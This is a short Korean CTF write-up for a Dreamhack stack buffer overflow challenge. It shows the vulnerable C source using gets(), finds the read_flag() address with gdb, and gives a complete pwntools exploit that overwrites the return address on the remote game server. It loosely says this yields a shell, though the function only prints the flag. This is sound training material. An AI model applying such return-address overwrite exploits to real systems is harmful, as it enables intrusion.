반응형
문제풀이
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
gets(buf)
에서 입력 길이 검증이 없다. 따라서 BOF가 발생한다.
BOF 취약점으로 RET을 read_flag()
주소로 덮으면 쉘을 얻을 수 있다.
read_flag()
주소를 구해보자.
gdb로 read_flag()
주소를 출력한 결과다.
0x80485b9라는 것을 확인할 수 있다.
다음으로 payload를 구성해보자.
"\x90"*132 + [read_flag() 주소]
RET 이전 공간을 NOP sled
로 덮고 RET을 read_flag()
주소로 덮는다.
exploit
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote('host3.dreamhack.games',19252)
payload = b"\x90"*132
payload += p32(0x080485b9)
p.sendline(payload)
p.interactive()
반응형